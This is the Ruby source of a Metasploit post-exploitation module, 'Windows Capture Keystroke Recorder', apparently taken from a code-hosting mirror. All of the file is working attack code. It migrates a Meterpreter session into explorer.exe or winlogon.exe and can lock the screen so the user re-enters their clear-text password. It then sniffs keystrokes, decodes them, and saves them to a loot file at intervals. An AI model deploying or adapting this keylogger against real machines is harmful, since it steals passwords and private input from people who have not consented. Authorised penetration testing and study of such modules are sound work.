Files
metasploit-gs/modules/post/windows/capture/keylog_recorder.rb
T
URI Assassin 35d3bbf74d Fix up comment splats with the correct URI
See the complaint on #4039. This doesn't fix that particular
issue (it's somewhat unrelated), but does solve around
a file parsing problem reported by @void-in
2014-10-17 11:47:33 -05:00

203 lines
6.2 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Capture Keystroke Recorder',
'Description' => %q{
This module can be used to capture keystrokes. To capture keystrokes when the session is running
as SYSTEM, the MIGRATE option must be enabled and the CAPTURE_TYPE option should be set to one of
Explorer, Winlogon, or a specific PID. To capture the keystrokes of the interactive user, the
Explorer option should be used with MIGRATE enabled. Keep in mind that this will demote this session
to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon
option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN
option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text
password.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', ]
))
register_options(
[
OptBool.new('LOCKSCREEN', [false, 'Lock system screen.', false]),
OptBool.new('MIGRATE', [false, 'Perform Migration.', false]),
OptInt.new( 'INTERVAL', [false, 'Time interval to save keystrokes', 5]),
OptInt.new( 'PID', [false, 'Process ID to migrate to', nil]),
OptEnum.new('CAPTURE_TYPE', [false, 'Capture keystrokes for Explorer, Winlogon or PID',
'explorer', ['explorer','winlogon','pid']])
], self.class)
register_advanced_options(
[
OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false])
], self.class)
end
# Run Method for when run command is issued
def run
print_status("Executing module against #{sysinfo['Computer']}")
if datastore['MIGRATE']
case datastore['CAPTURE_TYPE']
when "explorer"
process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN'])
when "winlogon"
process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN'])
when "pid"
if datastore['PID'] and has_pid?(datastore['PID'])
pid_migrate(datastore['PID'])
else
print_error("If capture type is pid you must provide a valid one")
return
end
end
end
if startkeylogger
keycap(datastore['INTERVAL'],set_log)
end
end
# Returns the path name to the stored loot filename
def set_log
store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log started at #{Time.now.to_s}\n", "keystrokes.txt", "User Keystrokes")
end
def lock_screen
print_status("Locking the desktop...")
lock_info = session.railgun.user32.LockWorkStation()
if lock_info["GetLastError"] == 0
print_status("Screen has been locked")
else
print_error("Screen lock failed")
end
end
# Method to Migrate in to Explorer process to be able to interact with desktop
def process_migrate(captype,lock)
print_status("Migration type #{captype}")
#begin
if captype == "explorer"
process2mig = "explorer.exe"
elsif captype == "winlogon"
if is_uac_enabled? and not is_admin?
print_error("UAC is enabled on this host! Winlogon migration will be blocked.")
end
process2mig = "winlogon.exe"
if lock
lock_screen
end
else
process2mig = "explorer.exe"
end
# Actual migration
mypid = session.sys.process.getpid
session.sys.process.get_processes().each do |x|
if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
print_status("\t#{process2mig} Process found, migrating into #{x['pid']}...")
session.core.migrate(x['pid'].to_i)
print_status("Migration successful!!")
end
end
return true
end
# Method for migrating in to a PID
def pid_migrate(pid)
print_status("\tMigrating into #{pid}...")
session.core.migrate(pid)
print_status("Migration successful!")
end
# Method for starting the keylogger
def startkeylogger()
begin
#print_status("Grabbing Desktop Keyboard Input...")
#session.ui.grab_desktop
print_status("Starting the keystroke sniffer...")
session.ui.keyscan_start
return true
rescue
print_error("Failed to start the keystroke sniffer: #{$!}")
return false
end
end
# Method for writing found keystrokes
def write_keylog_data(logfile)
data = session.ui.keyscan_dump
outp = ""
data.unpack("n*").each do |inp|
fl = (inp & 0xff00) >> 8
vk = (inp & 0xff)
kc = VirtualKeyCodes[vk]
f_shift = fl & (1<<1)
f_ctrl = fl & (1<<2)
f_alt = fl & (1<<3)
if(kc)
name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
case name
when /^.$/
outp << name
when /shift|click/i
when 'Space'
outp << " "
else
outp << " <#{name}> "
end
else
outp << " <0x%.2x> " % vk
end
end
sleep(2)
if not outp.empty?
print_good("Keystrokes captured #{outp}") if datastore['ShowKeystrokes']
file_local_write(logfile,"#{outp}\n")
end
end
# Method for Collecting Capture
def keycap(keytime, logfile)
begin
rec = 1
#Creating DB for captured keystrokes
print_status("Keystrokes being saved in to #{logfile}")
#Inserting keystrokes every number of seconds specified
print_status("Recording keystrokes...")
while rec == 1
write_keylog_data(logfile)
sleep(keytime.to_i)
end
rescue::Exception => e
print_status "Saving last few keystrokes..."
write_keylog_data(logfile)
print_status("#{e.class} #{e}")
print_status("Stopping keystroke sniffer...")
session.ui.keyscan_stop
end
end
def cleanup
session.ui.keyscan_stop rescue nil
end
end